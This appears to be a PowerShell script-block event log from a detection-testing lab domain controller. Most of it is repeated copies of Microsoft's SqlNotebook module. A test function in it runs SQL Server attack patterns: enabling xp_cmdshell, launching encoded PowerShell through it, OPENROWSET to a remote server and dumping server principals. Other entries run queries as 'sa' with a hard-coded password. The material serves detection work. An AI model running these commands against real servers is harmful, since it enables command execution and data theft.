Set-StrictMode -Version Latest
function Invoke-SqlNotebook {
[CmdletBinding(DefaultParameterSetName="ByConnectionParameters")]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute("PSUsePSCredentialType", "Username", Justification="Intentionally allowing User/Password, in addition to a PSCredential parameter.")]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute("PSAvoidUsingPlainTextForPassword", "Password", Justification="Intentionally allowing User/Password, in addition to a PSCredential parameter.")]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute("PSAvoidUsingUsernameAndPasswordParams", "", Justification="Intentionally allowing User/Password, in addition to a PSCredential parameter.")]
# Parameters
param(
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')]$ServerInstance,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')]$Database,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')][ValidateNotNullorEmpty()]$Username,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')][ValidateNotNullorEmpty()]$Password,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionString')][ValidateNotNullorEmpty()]$ConnectionString,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')][ValidateNotNullorEmpty()][PSCredential]$Credential,
[Parameter(Mandatory = $true, ParameterSetName='ByInputFile')]
[Parameter(ParameterSetName = 'ByConnectionParameters')]
[Parameter(ParameterSetName = 'ByConnectionString')]$InputFile,
[Parameter(Mandatory = $true, ParameterSetName='ByInputObject')]
[Parameter(ParameterSetName = 'ByConnectionParameters')]
[Parameter(ParameterSetName = 'ByConnectionString')]$InputObject,
[Parameter(Mandatory = $false)][ValidateNotNullorEmpty()]$OutputFile,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')][ValidateNotNullorEmpty()][PSObject]$AccessToken,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')][Switch]$TrustServerCertificate,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')][ValidateSet("Mandatory", "Optional", "Strict")][string]$Encrypt,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')][ValidateNotNull()][string]$HostNameInCertificate,
[Switch]$Force
)
#Checks to see if OutputFile is given
#If it is, checks to see if extension is there
function getOutputFile($inputFile,$outputFile) {
if($outputFile) {
$extn = [IO.Path]::GetExtension($outputFile)
if ($extn.Length -eq 0) {
$outputFile = ($outputFile + ".ipynb")
}
$outputFile
}
else {
#If User does not define Output it will use the inputFile file location
$fileinfo = Get-Item $inputFile
# Create an output file based on the file path of input and name
Join-Path $fileinfo.DirectoryName ($fileinfo.BaseName + "_out" + $fileinfo.Extension)
}
}
#Validates InputFile and Converts InputFile to Json Object
function getFileContents($inputfile) {
if (-not (Test-Path -Path $inputfile)) {
Throw New-Object System.IO.FileNotFoundException ($inputfile + " does not exist")
}
$fileItem = Get-Item $inputfile
#Checking if file is a python notebook
if ($fileItem.Extension -ne ".ipynb") {
Throw New-Object System.FormatException "Only ipynb files are supported"
}
$fileContent = Get-Content $inputfile
try {
$fileContentJson = ($fileContent | ConvertFrom-Json)
}
catch {
Throw New-Object System.FormatException "Malformed Json file"
}
$fileContentJson
}
#Validate SQL Kernel Notebook
function validateKernelType($fileContentJson) {
if ($fileContentJson.metadata.kernelspec.name -ne "SQL") {
Throw New-Object System.NotSupportedException "Kernel type '$($fileContentJson.metadata.kernelspec.name)' not supported."
}
}
#Validate non-existing output file
#If file exists and $throwifexists, an exception is thrown.
function validateExistingOutputFile($outputfile, $throwifexists) {
if ($outputfile -and (Test-Path $outputfile) -and $throwifexists) {
Throw New-Object System.IO.IOException "The file '$($outputfile)' already exists. Please, specify -Force to overwrite it."
}
}
#Parsing Notebook Data to Notebook Output
function ParseTableToNotebookOutput {
param (
[System.Data.DataTable]
$DataTable,
[int]
$CellExecutionCount
)
$TableHTMLText = "<table>"
$TableSchemaFeilds = @()
$TableHTMLText += "<tr>"
foreach ($ColumnName in $DataTable.Columns) {
$TableSchemaFeilds += @(@{name = $ColumnName.toString() })
$TableHTMLText += "<th>" + $ColumnName.toString() + "</th>"
}
$TableHTMLText += "</tr>"
$TableSchema = @{ }
$TableSchema["fields"] = $TableSchemaFeilds
$TableDataRows = @()
foreach ($Row in $DataTable) {
$TableDataRow = [ordered]@{ }
$TableHTMLText += "<tr>"
$i = 0
foreach ($Cell in $Row.ItemArray) {
$TableDataRow[$i.ToString()] = $Cell.toString()
$TableHTMLText += "<td>" + $Cell.toString() + "</td>"
$i++
}
$TableHTMLText += "</tr>"
$TableDataRows += $TableDataRow
}
$TableDataResource = @{ }
$TableDataResource["schema"] = $TableSchema
$TableDataResource["data"] = $TableDataRows
$TableData = @{ }
$TableData["application/vnd.dataresource+json"] = $TableDataResource
$TableData["text/html"] = $TableHTMLText
$TableOutput = @{ }
$TableOutput["output_type"] = "execute_result"
$TableOutput["data"] = $TableData
$TableOutput["metadata"] = @{ }
$TableOutput["execution_count"] = $CellExecutionCount
return $TableOutput
}
#Parsing the Error Messages to Notebook Output
function ParseQueryErrorToNotebookOutput {
param (
$QueryError
)
<#
Following the current syntax of errors in T-SQL notebooks from ADS
#>
$ErrorString = "Msg " + $QueryError.Exception.InnerException.Number +
", Level " + $QueryError.Exception.InnerException.Class +
", State " + $QueryError.Exception.InnerException.State +
", Line " + $QueryError.Exception.InnerException.LineNumber +
"`r`n" + $QueryError.Exception.Message
$ErrorOutput = @{ }
$ErrorOutput["output_type"] = "error"
$ErrorOutput["traceback"] = @()
$ErrorOutput["evalue"] = $ErrorString
return $ErrorOutput
}
#Parsing Messages to Notebook Output
function ParseStringToNotebookOutput {
param (
[System.String]
$InputString
)
<#
Parsing the string to notebook cell output.
It's the standard Jupyter Syntax
#>
$StringOutputData = @{ }
$StringOutputData["text/html"] = $InputString
$StringOutput = @{ }
$StringOutput["output_type"] = "display_data"
$StringOutput["data"] = $StringOutputData
$StringOutput["metadata"] = @{ }
return $StringOutput
}
#Start of Script
#Checks to see if InputFile or InputObject was entered
#Checks to InputFile Type and initializes OutputFile
if ($InputFile -is [System.String]) {
$fileInformation = getFileContents($InputFile)
$fileContent = $fileInformation[0]
$OutputFile = getOutputFile $InputFile $OutputFile
} elseif ($InputFile -is [System.IO.FileInfo]) {
$fileInformation = getFileContents($InputFile.FullName)
$fileContent = $fileInformation[0]
$OutputFile = getOutputFile $InputFile $OutputFile
} else {
$fileContent = $InputObject
}
#Checks InputObject and converts that to appropriate Json object
if ($InputObject -is [System.String]) {
$fileContentJson = ($InputObject | ConvertFrom-Json)
$fileContent = $fileContentJson[0]
}
#Validates only SQL Notebooks
validateKernelType $fileContent
#Validate that $OutputFile does not exist, or, if it exists a -Force was passed in.
validateExistingOutputFile $OutputFile (-not $Force)
#Setting params for Invoke-Sqlcmd
$DatabaseQueryHashTable = @{ }
#Checks to see if User entered ConnectionString or individual parameters
if ($ConnectionString) {
$DatabaseQueryHashTable["ConnectionString"] = $ConnectionString
} else {
if ($ServerInstance) {
$DatabaseQueryHashTable["ServerInstance"] = $ServerInstance
}
if ($Database) {
$DatabaseQueryHashTable["Database"] = $Database
}
#Checks to see if User entered AccessToken, Credential, or individual parameters
if ($AccessToken) {
# Currently, Invoke-Sqlcmd only supports an -AccessToken of type [string]
if ($AccessToken -is [string]) {
$DatabaseQueryHashTable["AccessToken"] = $AccessToken
} else {
# Assume $AccessToken has a 'Token' member that is a string
$DatabaseQueryHashTable["AccessToken"] = $AccessToken.Token
}
} else {
if ($Credential) {
$DatabaseQueryHashTable["Credential"] = $Credential
} else {
if ($Username) {
$DatabaseQueryHashTable["Username"] = $Username
}
if ($Password) {
$DatabaseQueryHashTable["Password"] = $Password
}
}
}
if ($Encrypt) {
$DatabaseQueryHashTable["Encrypt"] = $Encrypt
}
if ($TrustServerCertificate) {
$DatabaseQueryHashTable["TrustServerCertificate"] = $TrustServerCertificate
}
if ($HostNameInCertificate) {
$DatabaseQueryHashTable["HostNameInCertificate"] = $HostNameInCertificate
}
}
#Setting additional parameters for Invoke-SQLCMD to get
#all the information from Notebook execution to output
$DatabaseQueryHashTable["Verbose"] = $true
$DatabaseQueryHashTable["ErrorVariable"] = "SqlQueryError"
$DatabaseQueryHashTable["OutputAs"] = "DataTables"
#The first code cell number
$cellExecutionCount = 1
#Iterate through Notebook Cells
$fileContent.cells | Where-Object {
# Ignoring Markdown or raw cells
$_.cell_type -ne "markdown" -and $_.cell_type -ne "raw" -and $_.source -ne ""
} | ForEach-Object {
$NotebookCellOutputs = @()
# Getting the source T-SQL from the cell
# Note that the cell's source field can be
ef895041-bb60-4b62-bc56-b7c32210258cC:\Program Files\WindowsPowerShell\Modules\SqlServer\22.3.0\SqlNotebook.psm1
4104152150x0506215Microsoft-Windows-PowerShell/Operationalar-win-dc.attackrange.local11$ErrorActionPreference = 'Continue'
Write-Host 'Running: Authentication test'
Invoke-Sqlcmd -ServerInstance 'localhost' -Database 'master' -Username 'sa' -Password 'ComplexPass123!' -Query 'SELECT SYSTEM_USER AS CurrentUser' -TrustServerCertificatee81415b1-d075-46e0-8eb2-c5e73df9e988
4104152150x0506014Microsoft-Windows-PowerShell/Operationalar-win-dc.attackrange.local13# Copyright (c) Microsoft Corporation.
# Licensed under the MIT license.
Set-StrictMode -Version Latest
function Invoke-SqlNotebook {
[CmdletBinding(DefaultParameterSetName="ByConnectionParameters")]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute("PSUsePSCredentialType", "Username", Justification="Intentionally allowing User/Password, in addition to a PSCredential parameter.")]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute("PSAvoidUsingPlainTextForPassword", "Password", Justification="Intentionally allowing User/Password, in addition to a PSCredential parameter.")]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute("PSAvoidUsingUsernameAndPasswordParams", "", Justification="Intentionally allowing User/Password, in addition to a PSCredential parameter.")]
# Parameters
param(
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')]$ServerInstance,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')]$Database,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')][ValidateNotNullorEmpty()]$Username,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')][ValidateNotNullorEmpty()]$Password,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionString')][ValidateNotNullorEmpty()]$ConnectionString,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')][ValidateNotNullorEmpty()][PSCredential]$Credential,
[Parameter(Mandatory = $true, ParameterSetName='ByInputFile')]
[Parameter(ParameterSetName = 'ByConnectionParameters')]
[Parameter(ParameterSetName = 'ByConnectionString')]$InputFile,
[Parameter(Mandatory = $true, ParameterSetName='ByInputObject')]
[Parameter(ParameterSetName = 'ByConnectionParameters')]
[Parameter(ParameterSetName = 'ByConnectionString')]$InputObject,
[Parameter(Mandatory = $false)][ValidateNotNullorEmpty()]$OutputFile,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')][ValidateNotNullorEmpty()][PSObject]$AccessToken,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')][Switch]$TrustServerCertificate,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')][ValidateSet("Mandatory", "Optional", "Strict")][string]$Encrypt,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')][ValidateNotNull()][string]$HostNameInCertificate,
[Switch]$Force
)
#Checks to see if OutputFile is given
#If it is, checks to see if extension is there
function getOutputFile($inputFile,$outputFile) {
if($outputFile) {
$extn = [IO.Path]::GetExtension($outputFile)
if ($extn.Length -eq 0) {
$outputFile = ($outputFile + ".ipynb")
}
$outputFile
}
else {
#If User does not define Output it will use the inputFile file location
$fileinfo = Get-Item $inputFile
# Create an output file based on the file path of input and name
Join-Path $fileinfo.DirectoryName ($fileinfo.BaseName + "_out" + $fileinfo.Extension)
}
}
#Validates InputFile and Converts InputFile to Json Object
function getFileContents($inputfile) {
if (-not (Test-Path -Path $inputfile)) {
Throw New-Object System.IO.FileNotFoundException ($inputfile + " does not exist")
}
$fileItem = Get-Item $inputfile
#Checking if file is a python notebook
if ($fileItem.Extension -ne ".ipynb") {
Throw New-Object System.FormatException "Only ipynb files are supported"
}
$fileContent = Get-Content $inputfile
try {
$fileContentJson = ($fileContent | ConvertFrom-Json)
}
catch {
Throw New-Object System.FormatException "Malformed Json file"
}
$fileContentJson
}
#Validate SQL Kernel Notebook
function validateKernelType($fileContentJson) {
if ($fileContentJson.metadata.kernelspec.name -ne "SQL") {
Throw New-Object System.NotSupportedException "Kernel type '$($fileContentJson.metadata.kernelspec.name)' not supported."
}
}
#Validate non-existing output file
#If file exists and $throwifexists, an exception is thrown.
function validateExistingOutputFile($outputfile, $throwifexists) {
if ($outputfile -and (Test-Path $outputfile) -and $throwifexists) {
Throw New-Object System.IO.IOException "The file '$($outputfile)' already exists. Please, specify -Force to overwrite it."
}
}
#Parsing Notebook Data to Notebook Output
function ParseTableToNotebookOutput {
param (
[System.Data.DataTable]
$DataTable,
[int]
$CellExecutionCount
)
$TableHTMLText = "<table>"
$TableSchemaFeilds = @()
$TableHTMLText += "<tr>"
foreach ($ColumnName in $DataTable.Columns) {
$TableSchemaFeilds += @(@{name = $ColumnName.toString() })
$TableHTMLText += "<th>" + $ColumnName.toString() + "</th>"
}
$TableHTMLText += "</tr>"
$TableSchema = @{ }
$TableSchema["fields"] = $TableSchemaFeilds
$TableDataRows = @()
foreach ($Row in $DataTable) {
$TableDataRow = [ordered]@{ }
$TableHTMLText += "<tr>"
$i = 0
foreach ($Cell in $Row.ItemArray) {
$TableDataRow[$i.ToString()] = $Cell.toString()
$TableHTMLText += "<td>" + $Cell.toString() + "</td>"
$i++
}
$TableHTMLText += "</tr>"
$TableDataRows += $TableDataRow
}
$TableDataResource = @{ }
$TableDataResource["schema"] = $TableSchema
$TableDataResource["data"] = $TableDataRows
$TableData = @{ }
$TableData["application/vnd.dataresource+json"] = $TableDataResource
$TableData["text/html"] = $TableHTMLText
$TableOutput = @{ }
$TableOutput["output_type"] = "execute_result"
$TableOutput["data"] = $TableData
$TableOutput["metadata"] = @{ }
$TableOutput["execution_count"] = $CellExecutionCount
return $TableOutput
}
#Parsing the Error Messages to Notebook Output
function ParseQueryErrorToNotebookOutput {
param (
$QueryError
)
<#
Following the current syntax of errors in T-SQL notebooks from ADS
#>
$ErrorString = "Msg " + $QueryError.Exception.InnerException.Number +
", Level " + $QueryError.Exception.InnerException.Class +
", State " + $QueryError.Exception.InnerException.State +
", Line " + $QueryError.Exception.InnerException.LineNumber +
"`r`n" + $QueryError.Exception.Message
$ErrorOutput = @{ }
$ErrorOutput["output_type"] = "error"
$ErrorOutput["traceback"] = @()
$ErrorOutput["evalue"] = $ErrorString
return $ErrorOutput
}
#Parsing Messages to Notebook Output
function ParseStringToNotebookOutput {
param (
[System.String]
$InputString
)
<#
Parsing the string to notebook cell output.
It's the standard Jupyter Syntax
#>
$StringOutputData = @{ }
$StringOutputData["text/html"] = $InputString
$StringOutput = @{ }
$StringOutput["output_type"] = "display_data"
$StringOutput["data"] = $StringOutputData
$StringOutput["metadata"] = @{ }
return $StringOutput
}
#Start of Script
#Checks to see if InputFile or InputObject was entered
#Checks to InputFile Type and initializes OutputFile
if ($InputFile -is [System.String]) {
$fileInformation = getFileContents($InputFile)
$fileContent = $fileInformation[0]
$OutputFile = getOutputFile $InputFile $OutputFile
} elseif ($InputFile -is [System.IO.FileInfo]) {
$fileInformation = getFileContents($InputFile.FullName)
$fileContent = $fileInformation[0]
$OutputFile = getOutputFile $InputFile $OutputFile
} else {
$fileContent = $InputObject
}
#Checks InputObject and converts that to appropriate Json object
if ($InputObject -is [System.String]) {
$fileContentJson = ($InputObject | ConvertFrom-Json)
$fileContent = $fileContentJson[0]
}
#Validates only SQL Notebooks
validateKernelType $fileContent
#Validate that $OutputFile does not exist, or, if it exists a -Force was passed in.
validateExistingOutputFile $OutputFile (-not $Force)
#Setting params for Invoke-Sqlcmd
$DatabaseQueryHashTable = @{ }
#Checks to see if User entered ConnectionString or individual parameters
if ($ConnectionString) {
$DatabaseQueryHashTable["ConnectionString"] = $ConnectionString
} else {
if ($ServerInstance) {
$DatabaseQueryHashTable["ServerInstance"] = $ServerInstance
}
if ($Database) {
$DatabaseQueryHashTable["Database"] = $Database
}
#Checks to see if User entered AccessToken, Credential, or individual parameters
if ($AccessToken) {
# Currently, Invoke-Sqlcmd only supports an -AccessToken of type [string]
if ($AccessToken -is [string]) {
$DatabaseQueryHashTable["AccessToken"] = $AccessToken
} else {
# Assume $AccessToken has a 'Token' member that is a string
$DatabaseQueryHashTable["AccessToken"] = $AccessToken.Token
}
} else {
if ($Credential) {
$DatabaseQueryHashTable["Credential"] = $Credential
} else {
if ($Username) {
$DatabaseQueryHashTable["Username"] = $Username
}
if ($Password) {
$DatabaseQueryHashTable["Password"] = $Password
}
}
}
if ($Encrypt) {
$DatabaseQueryHashTable["Encrypt"] = $Encrypt
}
if ($TrustServerCertificate) {
$DatabaseQueryHashTable["TrustServerCertificate"] = $TrustServerCertificate
}
if ($HostNameInCertificate) {
$DatabaseQueryHashTable["HostNameInCertificate"] = $HostNameInCertificate
}
}
#Setting additional parameters for Invoke-SQLCMD to get
#all the information from Notebook execution to output
$DatabaseQueryHashTable["Verbose"] = $true
$DatabaseQueryHashTable["ErrorVariable"] = "SqlQueryError"
$DatabaseQueryHashTable["OutputAs"] = "DataTables"
#The first code cell number
$cellExecutionCount = 1
#Iterate through Notebook Cells
$fileContent.cells | Where-Object {
# Ignoring Markdown or raw cells
$_.cell_type -ne "markdown" -and $_.cell_type -ne "raw" -and $_.source -ne ""
} | ForEach-Object {
$NotebookCellOutputs = @()
# Getting the source T-SQL from the cell
# Note that the cell's source field can be
# an array (or strings) or a scalar (string).
# If an array, elements are properly terminated with CR/LF.
$DatabaseQueryHashTable["Query"] = $_.source -join ''
# Executing the T-SQL Query and storing the result and the time taken to execute
$SqlQueryExecutionTime = Measure-Command {
[Diagnostics.CodeAnalysis.SuppressMessageAttribute("PSUseDeclaredVarsMoreThanAssignments", "SqlQueryResult", Justification="Suppressing false warning.")]
$SqlQueryResult = @( Invoke-Sqlcmd @DatabaseQueryHashTable -ErrorAction SilentlyContinue 4>&1)
}
# Setting the Notebook Cell Execution Count to increase count of each code cell
# Note: handle the case where the 'execution_count' property is missing.
if (-not ($_ | Get-Member execution_count)) {
$_ | Add-Member -Name execution_count -Value $null -MemberType NoteProperty
}
$_.execution_count = $cellExecutionCount++
$NotebookCellTableOutputs = @()
<#
Iterating over the results by Invoke-Sqlcmd
There are 2 types of errors:
1. Verbose Output: Print Statements:
These needs to be added to the beginning of the cell outputs
2. Datatables from the database
These needs to be added to the end of cell outputs
#>
$SqlQueryResult | ForEach-Object {
if ($_ -is [System.Management.Automation.VerboseRecord]) {
# Adding the print statments to the cell outputs
$NotebookCellOutputs += $(ParseStringToNotebookOutput($_.Message))
} elseif ($_ -is [System.Data.DataTable]) {
# Storing the print Tables into an array to be added later to the cell output
$NotebookCellTableOutputs += $(ParseTableToNotebookOutput $_ $CellExecutionCount)
} elseif ($_ -is [System.Data.DataRow]) {
# Storing the print row into an array to be added later to the cell output
$NotebookCellTableOutputs += $(ParseTableToNotebookOutput $_.Table $CellExecutionCount)
}
}
if ($SqlQueryError) {
# Adding the parsed query error from Invoke-Sqlcmd
$NotebookCellOutputs += $(ParseQueryErrorToNotebookOutput($SqlQueryError))
}
if ($SqlQueryExecutionTime) {
# Adding the parsed execution time from Measure-Command
$NotebookCellExcutionTimeString = "Total execution time: " + $SqlQueryExecutionTime.ToString()
$NotebookCellOutputs += $(ParseStringToNotebookOutput($NotebookCellExcutionTimeString))
}
# Adding the data tables
$NotebookCellOutputs += $NotebookCellTableOutputs
# In the unlikely case the 'outputs' property is missing from the JSON
# object, we add it.
if (-not ($_ | Get-Member outputs)) {
$_ | Add-Member -Name outputs -Value $null -MemberType NoteProperty
}
$_.outputs = $NotebookCellOutputs
}
# This will update the Output 82ce59e4-af6c-4dd6-895d-c0827f231364C:\Program Files\WindowsPowerShell\Modules\SqlServer\22.3.0\SqlNotebook.psm1
4104152150x0506007Microsoft-Windows-PowerShell/Operationalar-win-dc.attackrange.local11$ErrorActionPreference = 'Continue'
Write-Host 'Running: Basic version query'
Invoke-Sqlcmd -ServerInstance 'localhost' -Database 'master' -Username 'sa' -Password 'ComplexPass123!' -Query 'SELECT @@version' -TrustServerCertificate0cc08194-7883-48b8-986e-8f0391b38ebf
4104152150x0505829Microsoft-Windows-PowerShell/Operationalar-win-dc.attackrange.local11function Test-InvokeSqlcmdPatterns {
Write-Host "`n=== Testing Various Invoke-Sqlcmd Patterns ===" -ForegroundColor Yellow
# Test with URL input file
Write-Host "Testing URL input..." -ForegroundColor Cyan
$url = "https://raw.githubusercontent.com/example/test.sql"
Invoke-Sqlcmd -ServerInstance $Server -InputFile $url -TrustServerCertificate
# Test with dedicated admin connection
Write-Host "Testing DAC connection..." -ForegroundColor Cyan
Invoke-Sqlcmd -ServerInstance $Server -Database $Database -DedicatedAdministratorConnection -TrustServerCertificate
# Test with data exfiltration patterns
Write-Host "Testing data export patterns..." -ForegroundColor Cyan
Invoke-Sqlcmd -ServerInstance $Server -Database $Database -Query "SELECT * FROM sys.server_principals" -OutputAs DataSet
# Test with suspicious queries
Write-Host "Testing suspicious queries..." -ForegroundColor Cyan
$suspiciousQueries = @(
"EXEC sp_configure 'show advanced options', 1; RECONFIGURE;",
"EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;",
"EXEC xp_cmdshell 'powershell.exe -enc BASE64'",
"EXEC master.dbo.sp_execute_external_script",
"SELECT * FROM OPENROWSET('SQLNCLI', 'Server=remote;Trusted_Connection=yes;','SELECT * FROM DB.dbo.Table')"
)
foreach ($query in $suspiciousQueries) {
try {
Invoke-Sqlcmd -ServerInstance $Server -Database $Database -Query $query -TrustServerCertificate
}
catch {
Write-Host "Expected error: $_" -ForegroundColor Yellow
}
}
}7b385ed9-2d2a-4c4f-93ae-7b427f212c72C:\Users\Administrator\Desktop\sqlcmd.ps1
4104152150x0505713Microsoft-Windows-PowerShell/Operationalar-win-dc.attackrange.local13# Copyright (c) Microsoft Corporation.
# Licensed under the MIT license.
Set-StrictMode -Version Latest
function Invoke-SqlNotebook {
[CmdletBinding(DefaultParameterSetName="ByConnectionParameters")]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute("PSUsePSCredentialType", "Username", Justification="Intentionally allowing User/Password, in addition to a PSCredential parameter.")]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute("PSAvoidUsingPlainTextForPassword", "Password", Justification="Intentionally allowing User/Password, in addition to a PSCredential parameter.")]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute("PSAvoidUsingUsernameAndPasswordParams", "", Justification="Intentionally allowing User/Password, in addition to a PSCredential parameter.")]
# Parameters
param(
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')]$ServerInstance,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')]$Database,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')][ValidateNotNullorEmpty()]$Username,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')][ValidateNotNullorEmpty()]$Password,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionString')][ValidateNotNullorEmpty()]$ConnectionString,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')][ValidateNotNullorEmpty()][PSCredential]$Credential,
[Parameter(Mandatory = $true, ParameterSetName='ByInputFile')]
[Parameter(ParameterSetName = 'ByConnectionParameters')]
[Parameter(ParameterSetName = 'ByConnectionString')]$InputFile,
[Parameter(Mandatory = $true, ParameterSetName='ByInputObject')]
[Parameter(ParameterSetName = 'ByConnectionParameters')]
[Parameter(ParameterSetName = 'ByConnectionString')]$InputObject,
[Parameter(Mandatory = $false)][ValidateNotNullorEmpty()]$OutputFile,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')][ValidateNotNullorEmpty()][PSObject]$AccessToken,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')][Switch]$TrustServerCertificate,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')][ValidateSet("Mandatory", "Optional", "Strict")][string]$Encrypt,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')][ValidateNotNull()][string]$HostNameInCertificate,
[Switch]$Force
)
#Checks to see if OutputFile is given
#If it is, checks to see if extension is there
function getOutputFile($inputFile,$outputFile) {
if($outputFile) {
$extn = [IO.Path]::GetExtension($outputFile)
if ($extn.Length -eq 0) {
$outputFile = ($outputFile + ".ipynb")
}
$outputFile
}
else {
#If User does not define Output it will use the inputFile file location
$fileinfo = Get-Item $inputFile
# Create an output file based on the file path of input and name
Join-Path $fileinfo.DirectoryName ($fileinfo.BaseName + "_out" + $fileinfo.Extension)
}
}
#Validates InputFile and Converts InputFile to Json Object
function getFileContents($inputfile) {
if (-not (Test-Path -Path $inputfile)) {
Throw New-Object System.IO.FileNotFoundException ($inputfile + " does not exist")
}
$fileItem = Get-Item $inputfile
#Checking if file is a python notebook
if ($fileItem.Extension -ne ".ipynb") {
Throw New-Object System.FormatException "Only ipynb files are supported"
}
$fileContent = Get-Content $inputfile
try {
$fileContentJson = ($fileContent | ConvertFrom-Json)
}
catch {
Throw New-Object System.FormatException "Malformed Json file"
}
$fileContentJson
}
#Validate SQL Kernel Notebook
function validateKernelType($fileContentJson) {
if ($fileContentJson.metadata.kernelspec.name -ne "SQL") {
Throw New-Object System.NotSupportedException "Kernel type '$($fileContentJson.metadata.kernelspec.name)' not supported."
}
}
#Validate non-existing output file
#If file exists and $throwifexists, an exception is thrown.
function validateExistingOutputFile($outputfile, $throwifexists) {
if ($outputfile -and (Test-Path $outputfile) -and $throwifexists) {
Throw New-Object System.IO.IOException "The file '$($outputfile)' already exists. Please, specify -Force to overwrite it."
}
}
#Parsing Notebook Data to Notebook Output
function ParseTableToNotebookOutput {
param (
[System.Data.DataTable]
$DataTable,
[int]
$CellExecutionCount
)
$TableHTMLText = "<table>"
$TableSchemaFeilds = @()
$TableHTMLText += "<tr>"
foreach ($ColumnName in $DataTable.Columns) {
$TableSchemaFeilds += @(@{name = $ColumnName.toString() })
$TableHTMLText += "<th>" + $ColumnName.toString() + "</th>"
}
$TableHTMLText += "</tr>"
$TableSchema = @{ }
$TableSchema["fields"] = $TableSchemaFeilds
$TableDataRows = @()
foreach ($Row in $DataTable) {
$TableDataRow = [ordered]@{ }
$TableHTMLText += "<tr>"
$i = 0
foreach ($Cell in $Row.ItemArray) {
$TableDataRow[$i.ToString()] = $Cell.toString()
$TableHTMLText += "<td>" + $Cell.toString() + "</td>"
$i++
}
$TableHTMLText += "</tr>"
$TableDataRows += $TableDataRow
}
$TableDataResource = @{ }
$TableDataResource["schema"] = $TableSchema
$TableDataResource["data"] = $TableDataRows
$TableData = @{ }
$TableData["application/vnd.dataresource+json"] = $TableDataResource
$TableData["text/html"] = $TableHTMLText
$TableOutput = @{ }
$TableOutput["output_type"] = "execute_result"
$TableOutput["data"] = $TableData
$TableOutput["metadata"] = @{ }
$TableOutput["execution_count"] = $CellExecutionCount
return $TableOutput
}
#Parsing the Error Messages to Notebook Output
function ParseQueryErrorToNotebookOutput {
param (
$QueryError
)
<#
Following the current syntax of errors in T-SQL notebooks from ADS
#>
$ErrorString = "Msg " + $QueryError.Exception.InnerException.Number +
", Level " + $QueryError.Exception.InnerException.Class +
", State " + $QueryError.Exception.InnerException.State +
", Line " + $QueryError.Exception.InnerException.LineNumber +
"`r`n" + $QueryError.Exception.Message
$ErrorOutput = @{ }
$ErrorOutput["output_type"] = "error"
$ErrorOutput["traceback"] = @()
$ErrorOutput["evalue"] = $ErrorString
return $ErrorOutput
}
#Parsing Messages to Notebook Output
function ParseStringToNotebookOutput {
param (
[System.String]
$InputString
)
<#
Parsing the string to notebook cell output.
It's the standard Jupyter Syntax
#>
$StringOutputData = @{ }
$StringOutputData["text/html"] = $InputString
$StringOutput = @{ }
$StringOutput["output_type"] = "display_data"
$StringOutput["data"] = $StringOutputData
$StringOutput["metadata"] = @{ }
return $StringOutput
}
#Start of Script
#Checks to see if InputFile or InputObject was entered
#Checks to InputFile Type and initializes OutputFile
if ($InputFile -is [System.String]) {
$fileInformation = getFileContents($InputFile)
$fileContent = $fileInformation[0]
$OutputFile = getOutputFile $InputFile $OutputFile
} elseif ($InputFile -is [System.IO.FileInfo]) {
$fileInformation = getFileContents($InputFile.FullName)
$fileContent = $fileInformation[0]
$OutputFile = getOutputFile $InputFile $OutputFile
} else {
$fileContent = $InputObject
}
#Checks InputObject and converts that to appropriate Json object
if ($InputObject -is [System.String]) {
$fileContentJson = ($InputObject | ConvertFrom-Json)
$fileContent = $fileContentJson[0]
}
#Validates only SQL Notebooks
validateKernelType $fileContent
#Validate that $OutputFile does not exist, or, if it exists a -Force was passed in.
validateExistingOutputFile $OutputFile (-not $Force)
#Setting params for Invoke-Sqlcmd
$DatabaseQueryHashTable = @{ }
#Checks to see if User entered ConnectionString or individual parameters
if ($ConnectionString) {
$DatabaseQueryHashTable["ConnectionString"] = $ConnectionString
} else {
if ($ServerInstance) {
$DatabaseQueryHashTable["ServerInstance"] = $ServerInstance
}
if ($Database) {
$DatabaseQueryHashTable["Database"] = $Database
}
#Checks to see if User entered AccessToken, Credential, or individual parameters
if ($AccessToken) {
# Currently, Invoke-Sqlcmd only supports an -AccessToken of type [string]
if ($AccessToken -is [string]) {
